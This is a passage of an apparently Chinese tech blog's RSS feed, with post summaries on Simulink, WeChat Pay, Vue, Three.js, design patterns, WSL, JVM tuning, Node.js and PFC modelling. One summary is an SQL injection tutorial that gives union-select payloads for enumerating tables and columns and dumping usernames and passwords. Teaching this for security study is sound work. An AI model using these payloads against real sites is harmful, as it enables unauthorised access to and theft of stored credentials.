      <description> 前言： Simulink模型生成代码、Simulink仿真、Simulink实时仿真机（SpeedGoat\dsPACE）等配置方式各不相同，本篇文章主要介绍一下Simulink模型生成代码如何进行配置。&#xA;模板下载地址：https://download.csdn.net/download/RNG_uzi_/88189160&#xA;正文： 一、求解器二、数据导入/导出三、数学和数据类型四、诊断五、硬件实现六、模型引用七、仿真目标八、代码生成九、覆盖度十、Simscape十一、Simscape Multibody 一、求解器 二、数据导入/导出 三、数学和数据类型 四、诊断 五、硬件实现 六、模型引用 七、仿真目标 八、代码生成 九、覆盖度 十、Simscape 十一、Simscape Multibody </description>
    </item>
    <item>
      <title>微信支付 | 微信小程序版 视频演示&#43;源码分享 快速上手</title>
      <link>https://bchobby.github.io/posts/1a70778d39345162b618b9b9cdd15d13/</link>
      <pubDate>Tue, 08 Aug 2023 10:14:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a70778d39345162b618b9b9cdd15d13/</guid>
      <description> 微信支付 V3 Uniapp版 演示视频 视频方视频地址B站演示地址 上手指南 微信支付参数获取 appId: 微信开放平台申请APPID mch_id: 微信商户号 mch_serial_no: 商户证书序列号 api_v3_key: api密钥 private_key: 商户密钥 入库格式: -----BEGIN PRIVATE KEY----- xxxx -----END PRIVATE KEY----- 上述参数 获取 可按此文档 https://pay.weixin.qq.com/wiki/doc/apiv3/open/devpreparation/chapter1_1_1.shtml openId: 用户在直连商户appid下的唯一标识 获取方式-&amp;gt;微信登录 源码分享地址 前后端项目地址前端代码地址后端代码地址 支付流程简要 </description>
    </item>
    <item>
      <title>【vue3&#43;elementuiplus】el-select下拉框会自动触发校验规则的最强解决方案</title>
      <link>https://bchobby.github.io/posts/a4eaef13bc968f0d3aaf0700a248f1fe/</link>
      <pubDate>Tue, 08 Aug 2023 10:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4eaef13bc968f0d3aaf0700a248f1fe/</guid>
      <description> 场景：新增弹层和编辑弹层共用一个组件，其中有select需要做必填校验，select的必填触发规则是change。&#xA;当第一次打开的是新增弹层时，一切安好。&#xA;若是先打开编辑弹层，再打开新增弹层，新增弹层就会自动触发select的校验规则。&#xA;以上显然不符合需求。&#xA;为了取消el-select的自动校验，我尝试了更换select的校验触发方式为blur，但是会带来一个新的问题——先点击确定触发校验，再选择select，校验提示不会消失。&#xA;所以，显然更换blur并不符合需求。&#xA;检索了其他回答，均无用。&#xA;我猜测产生该问题的原因是：在关闭弹层事件中，我做了resetfileds和clearfileds，resetfileds置空form表单，其实本质上也是一种改变select的操作，故而触发了select的change事件，在第二次打开新增弹层时，select的值为&#39;&#39;，所以才会触发表单校验规则。&#xA;因此，我在el-dialog上面加了销毁属性，当dialog关闭后，整个组件就被销毁，打开新增弹层时已经是一个新dom，就不会出现bug了。&#xA;解决方案： :destory-on-close=&#34;true&#34;&#xA;&amp;lt;el-dialog v-model=&#34;dialogVisible&#34; title=&#34;Tips&#34; width=&#34;30%&#34; :destory-on-close=&#34;true&#34; :before-close=&#34;handleClose&#34; &amp;gt; &amp;lt;/el-dialog&amp;gt; 2023_0808更新：突然发现，使用:destory-on-close也不能解决select校验被触发的问题了，就寻求了新的解决方法&#xA;这回子我没有再使用:before-close，因为我发现，@close只要dialog关闭就会被触发，无论是点击取消关闭，还是点击dialog之外的地方让其关闭，都会自动触发@close，如果使用:before-close，那么每次点击取消，点击提交的之后，还要调一下:before-close事件去触发关闭事件，就显得很冗余，所以我之后都采用的@close，也许也正是因为这个原因，让:destory-on-close=&#34;true&#34;失效了&#xA;&amp;lt;el-dialog v-model=&#34;dialogVisible&#34; title=&#34;订阅管理&#34; width=&#34;756px&#34; align-center @close=&#34;handleClose&#34; &amp;gt; &amp;lt;template #footer&amp;gt; &amp;lt;span class=&#34;dialog-footer&#34;&amp;gt; &amp;lt;el-button @click=&#34;dialogVisible = false&#34;&amp;gt;取消&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;submit(ruleFormRef)&#34; :loading=&#34;loading&#34;&amp;gt; 提交 &amp;lt;/el-button&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-dialog&amp;gt; 解决：关闭的时候只使用resetFields就可以既清空表单又清空校验状态，如果加上了clearValidate，反而select的校验就无法清空，另外，如果你发现有些表单的值无法清空，有些却可以，请注意*每一个el-form-item都要有prop属性才可&#xA;const handleClose = () =&amp;gt; { dialogVisible.value = false; ruleFormRef.value?.resetFields(); // ruleFormRef.value?.clearValidate(); } </description>
    </item>
    <item>
      <title>Threejs 地图3D可视化</title>
      <link>https://bchobby.github.io/posts/d0032c4ea5b258db063eb0b98da5f10c/</link>
      <pubDate>Tue, 08 Aug 2023 08:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0032c4ea5b258db063eb0b98da5f10c/</guid>
      <description>可以直接去github github.com/1023byte/3Dmap&#xA;前言 threejs小练习，从头实现如何加载地理数据，并将其映射到三维场景中的对象上。&#xA;获取数据 在开始绘制图形前，需要一份包含地理信息数据，我们可以从阿里云提供的小工具获取datav.aliyun.com/portal/school/atlas/area_selector&#xA;在范围选择器中，可以选择整个或者各个省份的地理信息数据。&#xA;生成图形 获取数据后，先分析一下JSON的结构&#xA;image.png properties 中包含了名字、中心、质心等信息， geometry.coordinates 则是地理的坐标点，我们需要做的是将这些点连成线。&#xA;THREE.Shpae const createMap = (data) =&amp;gt; { const map = new THREE.Object3D(); data.features.forEach((feature) =&amp;gt; { const unit = new THREE.Object3D(); const { coordinates, type } = feature.geometry; coordinates.forEach((coordinate) =&amp;gt; { if (type === &#34;MultiPolygon&#34;) coordinate.forEach((item) =&amp;gt; fn(item)); if (type === &#34;Polygon&#34;) fn(coordinate); function fn(coordinate) { const mesh = createMesh(coordinate); unit.add(mesh); } }); map.add(unit); }); return map; }; 这里需要注意在geometry中的type分为MultiPolygon和Polygon，需要分别处理，不然会造成个别区域缺失,二者区别是MultiPolygon的坐标多一层嵌套数据，所以这里多做一次遍历。</description>
    </item>
    <item>
      <title>创建型模式-工厂模式</title>
      <link>https://bchobby.github.io/posts/b4d80c186625b0892b400391cdb719b8/</link>
      <pubDate>Mon, 07 Aug 2023 23:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4d80c186625b0892b400391cdb719b8/</guid>
      <description>文章目录 一、工厂模式1. 简单工厂模式1.1 结构1.2 实现1.3 优缺点1.4 扩展-静态工厂 2. 工厂方法模式2.1 概念2.2 结构2.3 实现2.4 优缺点 3. 抽象工厂模式3.1 概念3.2 结构3.3 实现3.4 优缺点3.5 使用场景 4. 工厂模式扩展4.1 简单工厂+配置文件解除耦合 5. JDK源码解析-Collection.iterator方法 一、工厂模式 概述&#xA;需求：设计一个咖啡店点餐系统。&#xA;设计一个咖啡类（Coffee），并定义其两个子类（美式咖啡【AmericanCoffee】和拿铁咖啡【LatteCoffee】）；再设计一个咖啡店类（CoffeeStore），咖啡店具有点咖啡的功能。&#xA;在java中，万物皆对象，这些对象都需要创建，如果创建的时候直接new该对象，就会对该对象耦合严重，假如我们要更换对象，所有new对象的地方都需要修改一遍，这显然违背了软件设计的开闭原则。如果我们使用工厂来生产对象，我们就只和工厂打交道就可以了，彻底和对象解耦，如果要更换对象，直接在工厂里更换该对象即可，达到了与对象解耦的目的；所以说，工厂模式最大的优点就是：解耦。&#xA;在本章中会介绍三种工厂的使用：&#xA;简单工厂模式（不属于GOF的23种经典设计模式）工厂方法模式抽象工厂模式 1. 简单工厂模式 简单工厂不是一种设计模式，反而比较像是一种编程习惯。&#xA;1.1 结构 简单工厂包含如下角色：&#xA;抽象产品 ：定义了产品的规范，描述了产品的主要特性和功能。具体产品 ：实现或者继承抽象产品的子类具体工厂 ：提供了创建产品的方法，调用者通过该方法来获取产品。 1.2 实现 现在使用简单工厂对上面案例进行改进，类图如下：&#xA;咖啡类：&#xA;public abstract class Coffee { public abstract String getName(); //加糖 public void addsugar() { System.out.println(&#34;加糖&#34;); } //加奶 public void addMilk() { System.out.println(&#34;加奶&#34;); } } 美式咖啡：</description>
    </item>
    <item>
      <title>【无标题】发大水</title>
      <link>https://bchobby.github.io/posts/6c91cc3148d410dfa219e8513e5ffb18/</link>
      <pubDate>Mon, 07 Aug 2023 18:49:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c91cc3148d410dfa219e8513e5ffb18/</guid>
      <description>发大声道@TOC&#xA;欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。&#xA;新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客：&#xA;全新的界面设计 ，将会带来全新的写作体验；在创作中心设置你喜爱的代码高亮样式，Markdown 将代码片显示选择的高亮样式 进行展示；增加了 图片拖拽 功能，你可以将本地的图片直接拖拽到编辑区域直接展示；全新的 KaTeX数学公式 语法；增加了支持甘特图的mermaid语法1 功能；增加了 多屏幕编辑 Markdown文章功能；增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能，功能按钮位于编辑区域与预览区域中间；增加了 检查列表 功能。 功能快捷键 撤销：Ctrl/Command + Z&#xA;重做：Ctrl/Command + Y&#xA;加粗：Ctrl/Command + B&#xA;斜体：Ctrl/Command + I&#xA;标题：Ctrl/Command + Shift + H&#xA;无序列表：Ctrl/Command + Shift + U&#xA;有序列表：Ctrl/Command + Shift + O&#xA;检查列表：Ctrl/Command + Shift + C&#xA;插入代码：Ctrl/Command + Shift + K&#xA;插入链接：Ctrl/Command + Shift + L&#xA;插入图片：Ctrl/Command + Shift + G</description>
    </item>
    <item>
      <title>网络安全之Sql注入、sqlmap</title>
      <link>https://bchobby.github.io/posts/26f1769b1dbdbe1e6f4da56fc2e99091/</link>
      <pubDate>Mon, 07 Aug 2023 17:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26f1769b1dbdbe1e6f4da56fc2e99091/</guid>
      <description>SQL注入 SQL注入基础 SQL注入漏洞从1998年圣诞节大火以来，长盛不衰，虽然开发人员想出各种方法对它进行围追堵截，却始终不能赶尽杀绝，sql注入的根本原因就是将SQL代码插入或添加到应用(用户)的输入参数中的攻击，之后再将这些参数传递给后台的SQL服务器加以解析并执行。&#xA;SQL注入是如何产生的 web应用程序对用户输入的数据没有进行过滤，或者过滤不严，就把SQL语句带进数据库进行查询。&#xA;以下图为例，假如用户传输的参数id没有过滤，union联合查询就可以改变这个sql语句。&#xA;SQL注入的危害 绕过登录验证:使用万能密码登录网站后台等。获取敏感数据:获取网站管理员帐号、密码等。文件系统操作:列目录，读取、写入文件等。注册表操作:读取、写入、删除注册表等。 判断注入漏洞的依据是什么 根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行，如果测试语句被执行了，说明存在注入漏洞。&#xA;常见的SQL注入方式 —.根据注入的方式来分类:&#xA;1.get注入&#xA;2.post注入&#xA;3.cookie注入&#xA;二.注入方式来分类&#xA;1.有回显的注入&#xA;2.盲注&#xA;3.二次注入&#xA;4.报错注入&#xA;5.堆叠注入&#xA;6.宽字节注入&#xA;sql注入攻击流程 —.判断是否存在sql注入与sql注入的类型判断方法:&#xA;1.先看类型，第一种有报错注入的，用’先来判断，如果报错就说明有sql注入&#xA;2.遇到盲注需要用逻辑语句：and语句。例如and 1=1 and 1=2 ，OR 320=6 AND 000909=000909 – &#39;等。&#xA;二、判断sql注入是字符型还是数字型进行闭合&#xA;三、利用order by爆出列数&#xA;（由此可以看出，users表仅有三列）&#xA;四、利用database ()获取数据库名&#xA;五、爆表名&#xA;union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()%23&#xA;六、爆列&#xA;union select 1,group_concat(column_name),3 frominformation_schema.columns where table_name=‘users’%23&#xA;七、爆值&#xA;union select 1,2,group_concat (username, password) from users --+&#xA;注：concat、concat_ws、group_concat的区别：&#xA;concat用法&#xA;功能∶将多个字符串连接成一个字符串。</description>
    </item>
    <item>
      <title>WSL安装</title>
      <link>https://bchobby.github.io/posts/c5aef4237e38967281539320750eac53/</link>
      <pubDate>Mon, 07 Aug 2023 17:28:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5aef4237e38967281539320750eac53/</guid>
      <description>WSL安装 1.Microsoft store 安装 1.1 启动WSL功能 在【程序和功能 -&amp;gt; 启用或关闭 Windows 功能】中勾选【适用于 Linux 的 Windows 子系统】&#xA;1.2 Store中下载安装 在 Microsoft Store 中下载并安装需要的 Linux 发行版&#xA;2.不使用Store安装WSL 注：1.1也要做&#xA;2.1 下载镜像 以ubuntu为例，第一种方法是通过命令行下载，管理员打开shell,执行：&#xA;Invoke-WebRequest -Uri https://aka.ms/wsl-ubuntu-1804 -OutFile ./Ubuntu.appx -UseBasicParsing https://aka.ms/wsl-ubuntu-1804 就是下载的地址，看后缀能看到指定下载的是ubuntu1804版本，想要下载其他版本直接修改这里；&#xA;也可以直接去网站下载，一样的，网址： https://learn.microsoft.com/zh-cn/windows/wsl/install-manual&#xA;我在网站下载速度极慢无比，于是在shell里下的，但是shell里下载2004和2204版本都会失败，下载几百K后就会自动停止，只有1804版本没有问题，所以我就用了1804版本， 如果有哪位大佬看到这里并了解2004和2204版本失败原因，请留言指教一下~&#xA;2.2 解压 下载下来的镜像是appx格式，直接改为zip格式，然后解压就可以，打开会看到一个exe：&#xA;之后以管理员身份运行安装即可。&#xA;最后出去看一下本地WSL版本确认一下安装是否成功：&#xA;2.3 安装遇错 2.3.1 下载失败：请求被中止: 未能创建 SSL/TLS 安全通道 忘截图了，问题就是下载镜像时候终端，提示请求被中止: 未能创建 SSL/TLS 安全通道&#xA;解决方案：管理员身份执行：&#xA;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 2.3.2 WslRegisterDistribution failed with error: 0x80070005 运行安装时报错：&#xA;这个问题可能是windows版本太新了，导致内核对wsl的某些版本不兼容；（其实我怀疑是前面2.3.1那个修改导致的但我没有证据^__^ ）</description>
    </item>
    <item>
      <title>使用 POI 在 Word 中重新开始编号、自定义标题格式</title>
      <link>https://bchobby.github.io/posts/67efa0e5bde8e0d2e12f150a32442e48/</link>
      <pubDate>Mon, 07 Aug 2023 17:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67efa0e5bde8e0d2e12f150a32442e48/</guid>
      <description>效果图&#xA;引入依赖 &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.poi/poi --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.poi/poi-ooxml --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.poi/poi-ooxml --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml-schemas&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ooxml-schemas&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-scratchpad&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 示例代码 import cn.hutool.core.date.DateTime; import org.apache.poi.xwpf.usermodel.*; import org.openxmlformats.schemas.wordprocessingml.x2006.main.*; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; import javax.xml.bind.annotation.adapters.HexBinaryAdapter; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.math.BigInteger; import java.time.LocalDateTime; @Component public class CreateTestWordUtil { private static CreateTestWordUtil createJGWordUtil; int numLevel = 0; //编号 String filePath; String filename; @PostConstruct public void init() { createJGWordUtil = this; } /** * @param styles 样式 * @param strStyleId 标题id * @param headingLevel 标题级别 * @param pointSize 字体大小（/2） * @param hexColor 字体颜色 * @param typefaceName 字体名称（默认微软雅黑） */ public void createHeadingStyle(XWPFStyles styles, String strStyleId, int headingLevel, int pointSize, String hexColor, String typefaceName) { //创建样式 CTStyle ctStyle = CTStyle.</description>
    </item>
    <item>
      <title>几种常见的JVM调优场景（建议收藏）</title>
      <link>https://bchobby.github.io/posts/e79a3e9c751129b6bc90ac63ae959727/</link>
      <pubDate>Mon, 07 Aug 2023 17:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e79a3e9c751129b6bc90ac63ae959727/</guid>
      <description>最近很多小伙伴跟我说，自己学了不少JVM的调优知识，但是在实际工作中却不知道何时对JVM进行调优。今天，我就为大家介绍几种JVM调优的场景。&#xA;在阅读本文时，假定大家已经了解了运行时的数据区域和常用的垃圾回收算法，也了解了Hotspot支持的垃圾回收器。&#xA;cpu占用过高 cpu占用过高要分情况讨论，是不是业务上在搞活动，突然有大批的流量进来，而且活动结束后cpu占用率就下降了，如果是这种情况其实可以不用太关心，因为请求越多，需要处理的线程数越多，这是正常的现象。话说回来，如果你的服务器配置本身就差，cpu也只有一个核心，这种情况，稍微多一点流量就真的能够把你的cpu资源耗尽，这时应该考虑先把配置提升吧。&#xA;第二种情况，cpu占用率长期过高，这种情况下可能是你的程序有那种循环次数超级多的代码，甚至是出现死循环了。排查步骤如下：&#xA;（1）用top命令查看cpu占用情况&#xA;这样就可以定位出cpu过高的进程。在linux下，top命令获得的进程号和jps工具获得的vmid是相同的：&#xA;（2）用top -Hp命令查看线程的情况&#xA;可以看到是线程id为7287这个线程一直在占用cpu&#xA;也可以用以下命令找到这个进程中占用 CPU 较高的那些线程：&#xA;$ ps p 7268 -L -o pcpu,pid,tid,time,tname,cmd &amp;gt; ~/10495ps.txt&#xA;（3）把线程号转换为16进制&#xA;[root@localhost ~]# printf &#34;%x&#34; 7287 1c77 记下这个16进制的数字，下面我们要用&#xA;（4）用jstack工具查看线程栈情况&#xA;[root@localhost ~]# jstack 7268 | grep 1c77 -A 10 &#34;http-nio-8080-exec-2&#34; #16 daemon prio=5 os_prio=0 tid=0x00007fb66ce81000 nid=0x1c77 runnable [0x00007fb639ab9000] java.lang.Thread.State: RUNNABLE at com.spareyaya.jvm.service.EndlessLoopService.service(EndlessLoopService.java:19) at com.spareyaya.jvm.controller.JVMController.endlessLoop(JVMController.java:30) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) at org.</description>
    </item>
    <item>
      <title>vue filter过滤器中this不指向vue实例</title>
      <link>https://bchobby.github.io/posts/5af33363b24dba35c6d53475de7d50ea/</link>
      <pubDate>Mon, 07 Aug 2023 16:28:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5af33363b24dba35c6d53475de7d50ea/</guid>
      <description>解决方法，声明一个全局变量=this，在过滤器中使用全局变量</description>
    </item>
    <item>
      <title>Node.js安装教程</title>
      <link>https://bchobby.github.io/posts/13bd3141b148e06d28356a04bab77a06/</link>
      <pubDate>Mon, 07 Aug 2023 14:47:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13bd3141b148e06d28356a04bab77a06/</guid>
      <description>Node.js安装教程 1. Node.js是什么？ Node.js发布于2009年5月，由Ryan Dahl开发，是一个基于Chrome V8引擎的JavaScript运行环境，使用了一个事件驱动、非阻塞式I/O模型， [1] 让JavaScript 运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。 [2]&#xA;Node.js对一些特殊用例进行优化，提供替代的API，使得V8在非浏览器环境下运行得更好，V8引擎执行Javascript的速度非常快，性能非常好，基于Chrome JavaScript运行时建立的平台， 用于方便地搭建响应速度快、易于扩展的网络应用。&#xA;2. npm是什么？ npm是Node.js的包管理器。它作为一个开源项目创建于 2009 年，旨在帮助JavaScript开发人员轻松共享打包的代码模块。npm由三个独立的部分组成：网站，注册表(registry)，命令行工具(CLI）。&#xA;npm 是 JavaScript 世界的包管理工具,并且是 Node.js 平台的默认包管理工具，也是世界上最大的软件注册表，里面包含超过600000 个 包的结构，能够使您轻松跟踪依赖项和版本。&#xA;3. 安装Node.js环境 node.js下载官网: https://nodejs.cn/download/&#xA;点击Windows安装包，进行下载&#xA;选择我同意，点击下一步&#xA;选择安装位置，点击下一步&#xA;点击下一步&#xA;点击下一步 点击安装 安装完成&#xA;4. 检测Node.js是否安装成功 打开cmd窗口输入如下指令/&#xA;输入：node -v npm -v 如下所示就是安装成功了&#xA;5. Node.js环境配置 1. 创建全局目录和缓存目录文件夹 此处的环境配置主要配置的是 npm 安装的全局模块所在的路径，以及缓存cache的路径，之所以要配置，是因为以后在执行类似：npm install express [-g] （后面的可选参数-g，g代表global全局安装的意思）的安装语句时。&#xA;在Node.js的安装路径下面创建 node_global、node_cache两个文件夹&#xA;node_global：npm全局安装位置&#xA;node_cache：npm缓存路径&#xA;2. 设置全局目录和缓存目录，创建完两个空文件夹之后，打开cmd命令窗口，输入 npm config set prefix “node_global所在的目录路径” npm config set prefix “F:\Software\OOP\LeadingEnd\Node.</description>
    </item>
    <item>
      <title>jsp中根据参数类型动态拼接标签的class类</title>
      <link>https://bchobby.github.io/posts/452b2532705c9b030e6dbc7eafcfb1ab/</link>
      <pubDate>Mon, 07 Aug 2023 14:15:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/452b2532705c9b030e6dbc7eafcfb1ab/</guid>
      <description>&amp;lt;%-- 判断是否是数字--%&amp;gt; &amp;lt;c:set var=&#34;codeString&#34; value=&#34;${gantryTarget.gantry.code}&#34;/&amp;gt;&#xA;&amp;lt;% String className = new String(&#34;dpTD_NUM&#34;);&#xA;String codeString = (String)pageContext.getAttribute(&#34;codeString&#34;);&#xA;try{&#xA;Double.valueOf(codeString);&#xA;}catch(Exception e){&#xA;className = new String(&#34;dpTD&#34;);&#xA;}&#xA;%&amp;gt;&#xA;&amp;lt;TD align=&#39;center&#39; class=&#34;&amp;lt;%=className%&amp;gt;&#34; &amp;gt;${codeString}&amp;lt;/TD&amp;gt;</description>
    </item>
    <item>
      <title>基于Mediapipe的姿势识别并同步到Unity人体模型中</title>
      <link>https://bchobby.github.io/posts/5b3e7f82a21b6805e05708e0b0bbdd1c/</link>
      <pubDate>Mon, 07 Aug 2023 11:24:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b3e7f82a21b6805e05708e0b0bbdd1c/</guid>
      <description>如题，由于是商业项目，无法公开源码，这里主要说一下实现此功能的思路。&#xA;人体关节点识别&#xA;基于Mediapipe Unity插件进行开发，性能比较低的CPU主机，无法流畅地运行Mediapipe，这个要注意一下。&#xA;Mediapipe33个人体关节点图如下：&#xA;Mediapipe关节点映射到Unity人体骨骼&#xA;这是开发此功能的一个难点，涉及到了关节点位置与骨骼位置的映射，还有骨骼反向运动。&#xA;1、使用unity IK插件比如：Animation Rigging、Final IK等&#xA;2、参考ThreeDPoseUnityBarracuda自行去映射关节点。&#xA;我这边使用的是第二种方法。主参照ThreeDPoseUnityBarracuda项目中的VNectModel.cs脚本，其中abdomenUpper这个关节点的位置要我们根据Mediapipe传过来的位置进行手动计算再赋值，其他位置可以直接从Mediapipe传过来的值中得到。&#xA;另外Build的时候记得将资源加载的方式改为StreamingAssets&#xA;最终效果如下：&#xA;MediaPipe Pose Tracking</description>
    </item>
    <item>
      <title>clump的基本使用</title>
      <link>https://bchobby.github.io/posts/7eed56e07e9d0612c515c41c1e89e7ad/</link>
      <pubDate>Sun, 06 Aug 2023 21:34:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7eed56e07e9d0612c515c41c1e89e7ad/</guid>
      <description>目录&#xA;clump的基本使用&#xA;geometry的四种生成方式&#xA;常用的geometry的fish&#xA;生成clump模板&#xA;批量生成clump&#xA;clump的基本使用 A clump is a rigid collection of rigid spherical pebbles. （clump以pebble为基本单元）&#xA;geometry的四种生成方式 geometry:&#xA;几何系统允许用户创建、导入和导出几何数据。这些数据可以用各种方式与模型互动。这些数据可以用范围逻辑作为过滤器，也可以用绘图作为可视化的辅助工具。FISH的额外变量和组名可以分配给几何数据。FISH可以用来创建和操作数据。几何数据被组织成几何集，它是节点、边和多边形的命名集合。&#xA;几何对象的创建不需要一个域，因为它们不是模型组件。几何导入命令用于从文件中导入几何数据，该文件可以是.stl、.dxf或Itasca几何格式。(可以用ai矢量绘图软件绘制，可以输出为stl或者dxf)&#xA;生成多边形：geometry polygon&#xA;①edge 边&#xA;②node 点&#xA;③输入位置矢量&#xA;④外部导入&#xA;在plot中的geometry中查看&#xA;new ;geometry node id 1 -1 -1 ;geometry node id 2 1 -1 ;geometry node id 3 2 0 ;geometry node id 4 1 1 ;geometry node id 5 -1 1 ;geometry node id 6 -2 0 ;;geometry polygon nodes 1 2 3 4 5 6 ;geometry edge id 1 node 1 node 2 ;geometry edge id 2 node 2 node 3 ;geometry edge id 3 node 3 node 4 ;geometry edge id 4 node 4 node 5 ;geometry edge id 5 node 5 node 6 ;geometry edge id 6 node 6 node 1 ; ;geometry polygon edges 1 2 3 4 5 6 ;geometry polygon positions -1 -1 .</description>
    </item>
    <item>
      <title>PFCdocumentation_ PFC examples</title>
      <link>https://bchobby.github.io/posts/afdad2953f43807ee3b1ccf4e1f5447d/</link>
      <pubDate>Sun, 06 Aug 2023 21:29:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afdad2953f43807ee3b1ccf4e1f5447d/</guid>
      <description>目录&#xA;PFC examples&#xA;Balls in a Box&#xA;Clumps in a Box&#xA;Attributes and Properties&#xA;PFC examples Balls in a Box 模拟了 30 个在盒子中相互作用的球。&#xA;The one-wall keyword is given to force all generated facets to belong to the same wall, as opposed to creating one wall for each face of the box. PFC要求球具有非零密度，以便求解球的运动方程。一 如果存在密度为零的球，则在循环序列开始时发生错误。&#xA;; fname: cmlinear_simple.p3dat ; ; Exercise the Linear contact model ;============================================================================== model new model title &#39;Balls in a box&#39; ; Set the domain extent指定属性域 model domain extent -10.</description>
    </item>
    <item>
      <title>PFC_lobby_第二章10-12讲</title>
      <link>https://bchobby.github.io/posts/79a981ba53403dfb5c4c7cdaabac55a9/</link>
      <pubDate>Sun, 06 Aug 2023 21:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79a981ba53403dfb5c4c7cdaabac55a9/</guid>
      <description>目录&#xA;FISH入门&#xA;随机数和随机生成颗粒&#xA;自带随机生成颗粒命令&#xA;回调函数&#xA;FISH入门 代码为pfc5.02d。&#xA;随机数和随机生成颗粒 new domain extent -10 10 set random 10001 ；把随机数数目设定之后，就可以得到一样的状态。 def test random=math.random.uniform loop n(1,50) random_x_pos=math.random.uniform x_pos=random_x_pos*10-5 ；范围在-5到5之间 random_y_pos=math.random.uniform y_pos=random_y_pos*10-5 ；范围在-5到5之间 random_rad=math.random.uniform rad=random_rad*0.2+0.1 ；半径范围为0.1到0.3 pos=vector(x_pos,y_pos) bp=ball.create(rad,pos) endloop end @test ；random=math.random.uniform 生成的数值在0-1之间 最大的数学库math.，math.random.uniform为均匀分布，math.random.guess为高斯分布。&#xA;自带随机生成颗粒命令 new domain extent -10 10 ;ball generate radius 0.1 0.3 number 50 box -5 5 wall generate box -5 5 ball distribute radius 0.1 0.3 porosity 0.7 box -5 5 ；指定孔隙率，有重叠量 ball attribute density 2e3 cmat default model linear property kn 1e6 ；指定密度，线性模型和刚度 cycle 1000 calm 5 ；calm把所有颗粒速度清零，能够尽可能减小初始重叠量对于运行的影响 ；每运行1000步就把速度清零5步 如果不进行calm，有的颗粒会跑到墙的外面。</description>
    </item>
    <item>
      <title>PFC_第二章13到16讲</title>
      <link>https://bchobby.github.io/posts/3128ab225fa3def2819727ae309c12dd/</link>
      <pubDate>Sun, 06 Aug 2023 21:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3128ab225fa3def2819727ae309c12dd/</guid>
